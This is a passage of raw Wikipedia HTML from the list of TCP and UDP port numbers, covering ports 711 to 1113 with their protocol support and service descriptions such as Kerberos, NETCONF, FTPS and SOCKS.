style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SILC_(protocol)\" title=\"SILC (protocol)\">Secure Internet Live Conferencing</a> (SILC)\n</td></tr>\n<tr>\n<td>711</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Cisco\" title=\"Cisco\">Cisco</a> Tag Distribution Protocol<sup id=\"cite_ref-103\" class=\"reference\"><a href=\"#cite_note-103\">&#91;102&#93;</a></sup><sup id=\"cite_ref-104\" class=\"reference\"><a href=\"#cite_note-104\">&#91;103&#93;</a></sup><sup id=\"cite_ref-105\" class=\"reference\"><a href=\"#cite_note-105\">&#91;104&#93;</a></sup>—being replaced by the MPLS <a href=\"/wiki/Label_Distribution_Protocol\" title=\"Label Distribution Protocol\">Label Distribution Protocol</a><sup id=\"cite_ref-106\" class=\"reference\"><a href=\"#cite_note-106\">&#91;105&#93;</a></sup>\n</td></tr>\n<tr>\n<td>712</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Topology_Broadcast_based_on_Reverse-Path_Forwarding_routing_protocol\" class=\"mw-redirect\" title=\"Topology Broadcast based on Reverse-Path Forwarding routing protocol\">Topology Broadcast based on Reverse-Path Forwarding routing protocol</a> (TBRPF; RFC 3684)\n</td></tr>\n<tr>\n<td>749</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Kerberos administration<sup id=\"cite_ref-apple-kb-HT202944_11-37\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>750</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>kerberos-iv, <a href=\"/wiki/Kerberos_(protocol)\" title=\"Kerberos (protocol)\">Kerberos</a> version IV\n</td></tr>\n<tr>\n<td>751</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>kerberos_master, Kerberos authentication\n</td></tr>\n<tr>\n<td>752</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>passwd_server, Kerberos password (kpasswd) server\n</td></tr>\n<tr>\n<td rowspan=\"2\">753\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Reverse Routing Header (RRH)<sup id=\"cite_ref-107\" class=\"reference\"><a href=\"#cite_note-107\">&#91;106&#93;</a></sup>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>userreg_server, Kerberos userreg server\n</td></tr>\n<tr>\n<td rowspan=\"2\">754\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>tell send\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>krb5_prop, Kerberos v5 slave propagation\n</td></tr>\n<tr>\n<td>760</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>krbupdate [kreg], Kerberos registration\n</td></tr>\n<tr>\n<td>782</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Conserver\" title=\"Conserver\">Conserver</a> serial-console management server\n</td></tr>\n<tr>\n<td>783</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SpamAssassin\" class=\"mw-redirect\" title=\"SpamAssassin\">SpamAssassin</a> spamd daemon\n</td></tr>\n<tr>\n<td>800</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>mdbs-daemon\n</td></tr>\n<tr>\n<td>802</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Modbus\" title=\"Modbus\">MODBUS</a>/TCP Security<sup id=\"cite_ref-mbap-s_108-0\" class=\"reference\"><a href=\"#cite_note-mbap-s-108\">&#91;107&#93;</a></sup>\n</td></tr>\n<tr>\n<td>808</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Microsoft Net.TCP Port Sharing Service\n</td></tr>\n<tr>\n<td>829</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Certificate_Management_Protocol\" title=\"Certificate Management Protocol\">Certificate Management Protocol</a><sup id=\"cite_ref-rfc4210_109-0\" class=\"reference\"><a href=\"#cite_note-rfc4210-109\">&#91;108&#93;</a></sup>\n</td></tr>\n<tr>\n<td>830</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NETCONF\" title=\"NETCONF\">NETCONF</a> over <a href=\"/wiki/Secure_Shell\" title=\"Secure Shell\">SSH</a>\n</td></tr>\n<tr>\n<td>831</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>NETCONF over <a href=\"/wiki/BEEP\" title=\"BEEP\">BEEP</a>\n</td></tr>\n<tr>\n<td>832</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>NETCONF for <a href=\"/wiki/SOAP\" title=\"SOAP\">SOAP</a> over HTTPS\n</td></tr>\n<tr>\n<td>833</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>NETCONF for SOAP over BEEP\n</td></tr>\n<tr>\n<td>843</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Adobe_Flash\" title=\"Adobe Flash\">Adobe Flash</a><sup id=\"cite_ref-110\" class=\"reference\"><a href=\"#cite_note-110\">&#91;109&#93;</a></sup>\n</td></tr>\n<tr>\n<td>847</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Dynamic_Host_Configuration_Protocol#Reliability\" title=\"Dynamic Host Configuration Protocol\">DHCP Failover</a> protocol\n</td></tr>\n<tr>\n<td>848</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Group Domain Of Interpretation (GDOI) protocol\n</td></tr>\n<tr>\n<td rowspan=\"2\">853\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DNS_over_TLS\" title=\"DNS over TLS\">DNS over TLS</a> (RFC 7858)\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>DNS over QUIC or DNS over DTLS<sup id=\"cite_ref-111\" class=\"reference\"><a href=\"#cite_note-111\">&#91;110&#93;</a></sup>\n</td></tr>\n<tr>\n<td>860</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ISCSI\" title=\"ISCSI\">iSCSI</a> (RFC 3720)\n</td></tr>\n<tr>\n<td>861</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>OWAMP control (RFC 4656)\n</td></tr>\n<tr>\n<td>862</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>TWAMP control (RFC 5357)\n</td></tr>\n<tr>\n<td>873</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Rsync\" title=\"Rsync\">rsync</a> file synchronization protocol\n</td></tr>\n<tr>\n<td rowspan=\"2\">888\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>cddbp, <a href=\"/wiki/CD_database\" class=\"mw-redirect\" title=\"CD database\">CD DataBase</a> (<a href=\"/wiki/CDDB\" title=\"CDDB\">CDDB</a>) protocol (CDDBP)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>IBM Endpoint Manager Remote Control\n</td></tr>\n<tr>\n<td>897</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Brocade_Communications_Systems\" title=\"Brocade Communications Systems\">Brocade</a> SMI-S RPC\n</td></tr>\n<tr>\n<td>898</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Brocade SMI-S RPC SSL\n</td></tr>\n<tr>\n<td>902</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VMware_ESXi\" title=\"VMware ESXi\">VMware ESXi</a><sup id=\"cite_ref-vmware-kb-1022256_112-0\" class=\"reference\"><a href=\"#cite_note-vmware-kb-1022256-112\">&#91;111&#93;</a></sup><sup id=\"cite_ref-vmware-kb-1005189_113-0\" class=\"reference\"><a href=\"#cite_note-vmware-kb-1005189-113\">&#91;112&#93;</a></sup>\n</td></tr>\n<tr>\n<td>903</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>VMware ESXi<sup id=\"cite_ref-vmware-kb-1022256_112-1\" class=\"reference\"><a href=\"#cite_note-vmware-kb-1022256-112\">&#91;111&#93;</a></sup><sup id=\"cite_ref-vmware-kb-1005189_113-1\" class=\"reference\"><a href=\"#cite_note-vmware-kb-1005189-113\">&#91;112&#93;</a></sup>\n</td></tr>\n<tr>\n<td>953</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BIND\" title=\"BIND\">BIND</a> remote name daemon control (RNDC)<sup id=\"cite_ref-centos-5-deployment-rndc_114-0\" class=\"reference\"><a href=\"#cite_note-centos-5-deployment-rndc-114\">&#91;113&#93;</a></sup><sup id=\"cite_ref-man-rndc.8_115-0\" class=\"reference\"><a href=\"#cite_note-man-rndc.8-115\">&#91;114&#93;</a></sup>\n</td></tr>\n<tr>\n<td>981</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Remote HTTPS management for firewall devices running embedded <a href=\"/wiki/Check_Point_VPN-1\" title=\"Check Point VPN-1\">Check Point VPN-1</a> software<sup id=\"cite_ref-fw-1-ports-ng_116-0\" class=\"reference\"><a href=\"#cite_note-fw-1-ports-ng-116\">&#91;115&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">987\n</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Sony PlayStation Wake On Lan\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Remote_Web_Workplace\" title=\"Microsoft Remote Web Workplace\">Microsoft Remote Web Workplace</a>, a feature of <a href=\"/wiki/Windows_Small_Business_Server\" class=\"mw-redirect\" title=\"Windows Small Business Server\">Windows Small Business Server</a><sup id=\"cite_ref-msft-tn-cc52751_117-0\" class=\"reference\"><a href=\"#cite_note-msft-tn-cc52751-117\">&#91;116&#93;</a></sup>\n</td></tr>\n<tr>\n<td>988</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Lustre_(file_system)\" title=\"Lustre (file system)\">Lustre (file system)</a><sup id=\"cite_ref-118\" class=\"reference\"><a href=\"#cite_note-118\">&#91;117&#93;</a></sup> Protocol (data).\n</td></tr>\n<tr>\n<td>989</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/FTPS\" title=\"FTPS\">FTPS</a> Protocol (data), <a href=\"/wiki/FTP\" class=\"mw-redirect\" title=\"FTP\">FTP</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a>\n</td></tr>\n<tr>\n<td>990</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>FTPS Protocol (control), FTP over TLS/SSL\n</td></tr>\n<tr>\n<td>991</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Netnews\" class=\"mw-redirect\" title=\"Netnews\">Netnews</a> Administration System (NAS)<sup id=\"cite_ref-119\" class=\"reference\"><a href=\"#cite_note-119\">&#91;118&#93;</a></sup>\n</td></tr>\n<tr>\n<td>992</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Telnet\" title=\"Telnet\">Telnet</a> protocol over TLS/SSL\n</td></tr>\n<tr>\n<td>993</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Message_Access_Protocol\" title=\"Internet Message Access Protocol\">Internet Message Access Protocol</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a> (IMAPS)<sup id=\"cite_ref-apple-kb-HT202944_11-38\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>994</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Previously assigned to <a href=\"/wiki/Internet_Relay_Chat\" title=\"Internet Relay Chat\">Internet Relay Chat</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a> (IRCS), but was not used in common practice.\n</td></tr>\n<tr>\n<td>995</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Post_Office_Protocol\" title=\"Post Office Protocol\">Post Office Protocol</a> 3 over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a> (POP3S)<sup id=\"cite_ref-apple-kb-HT202944_11-39\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1010</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ThinLinc\" title=\"ThinLinc\">ThinLinc</a> web-based administration interface<sup id=\"cite_ref-cendio-docs-tag-tcp-ports_120-0\" class=\"reference\"><a href=\"#cite_note-cendio-docs-tag-tcp-ports-120\">&#91;119&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1011–1020</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1023\n</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td><sup id=\"cite_ref-IANA_2-8\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Z/OS\" title=\"Z/OS\">z/OS</a> Network File System (NFS) (potentially ports 991–1023)<sup id=\"cite_ref-rfc7194_78-1\" class=\"reference\"><a href=\"#cite_note-rfc7194-78\">&#91;78&#93;</a></sup><sup id=\"cite_ref-rfc1227_79-1\" class=\"reference\"><a href=\"#cite_note-rfc1227-79\">&#91;79&#93;</a></sup><sup id=\"cite_ref-ibm-zos-surpp_121-0\" class=\"reference\"><a href=\"#cite_note-ibm-zos-surpp-121\">&#91;120&#93;</a></sup>\n</td></tr></tbody></table>\n<h2><span class=\"mw-headline\" id=\"Registered_ports\">Registered ports</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=3\" title=\"Edit section: Registered ports\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1033289096\"/><div role=\"note\" class=\"hatnote navigation-not-searchable plainlinks\">This is a <a href=\"/wiki/Wikipedia:WikiProject_Lists#Incomplete_lists\" title=\"Wikipedia:WikiProject Lists\">dynamic list</a> and may never be able to satisfy particular standards for completeness. You can help by <a class=\"external text\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\">adding missing items</a> with <a href=\"/wiki/Wikipedia:Reliable_sources\" title=\"Wikipedia:Reliable sources\">reliable sources</a>.</div>\n<p>The range of port numbers from 1024 to 49151 (2<sup>10</sup> to 2<sup>14</sup> + 2<sup>15</sup> − 1) are the <a href=\"/wiki/Registered_port\" title=\"Registered port\">registered ports</a>. They are assigned by <a href=\"/wiki/Internet_Assigned_Numbers_Authority\" title=\"Internet Assigned Numbers Authority\">IANA</a> for specific service upon application by a requesting entity.<sup id=\"cite_ref-IANA_2-9\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup> On most systems, registered ports can be used without superuser privileges.\n</p>\n<table class=\"wikitable sortable collapsible\">\n<caption>Registered ports\n</caption>\n<tbody><tr>\n<th scope=\"col\">Port\n</th>\n<th scope=\"col\">TCP\n</th>\n<th scope=\"col\">UDP\n</th>\n<th scope=\"col\">SCTP\n</th>\n<th scope=\"col\">DCCP\n</th>\n<th scope=\"col\" class=\"unsortable\">Description\n</th></tr>\n<tr>\n<td>1024</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Reserved\n</td></tr>\n<tr>\n<td>1025</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Teradata\" title=\"Teradata\">Teradata</a> <a href=\"/wiki/Database_management_system\" class=\"mw-redirect\" title=\"Database management system\">database management system</a> (Teradata) server\n</td></tr>\n<tr>\n<td rowspan=\"2\">1027\n</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Reserved\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Native IPv6 behind IPv4-to-IPv4 NAT Customer Premises Equipment (6a44)<sup id=\"cite_ref-rfc6751_122-0\" class=\"reference\"><a href=\"#cite_note-rfc6751-122\">&#91;121&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1028</td>\n<td colspan=\"4\" data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved<sup id=\"cite_ref-IANA_2-10\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td>\n<td>\n</td></tr>\n<tr>\n<td>1029</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Microsoft <a href=\"/wiki/Distributed_Component_Object_Model\" title=\"Distributed Component Object Model\">DCOM</a> services\n</td></tr>\n<tr>\n<td>1058</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>nim, <a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> <a href=\"/wiki/IBM_AIX\" title=\"IBM AIX\">AIX</a> <a href=\"/wiki/Network_Installation_Manager\" title=\"Network Installation Manager\">Network Installation Manager</a> (NIM)\n</td></tr>\n<tr>\n<td>1059</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>nimreg, IBM AIX Network Installation Manager (NIM)\n</td></tr>\n<tr>\n<td>1080</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SOCKS\" title=\"SOCKS\">SOCKS</a> proxy\n</td></tr>\n<tr>\n<td>1085</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WebObjects\" title=\"WebObjects\">WebObjects</a><sup id=\"cite_ref-apple-kb-HT202944_11-40\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1098</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>rmiactivation, <a href=\"/wiki/Java_remote_method_invocation\" title=\"Java remote method invocation\">Java remote method invocation</a> (RMI) activation\n</td></tr>\n<tr>\n<td>1099</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>rmiregistry, Java remote method invocation (RMI) registry\n</td></tr>\n<tr>\n<td>1109</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Reserved\n</td></tr>\n<tr>\n<td>1113</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned<br /><sup id=\"cite_ref-123\" class=\"reference\"><a href=\"#cite_note-123\">&#91;note 2&#93;</a></sup><sup id=\"cite_ref-124\" class=\"reference\"><a href=\"#cite_note-124\">&#91;122&#93;</a></sup></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-125\" class=\"reference\"><a href=\"#cite_note-125\">&#91;123&#93;</a></sup></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Licklider_Transmission_Protocol\" title=\"Licklider Transmission Protocol\">Licklider Transmission Protocol</a> (LTP) delay tolerant networking 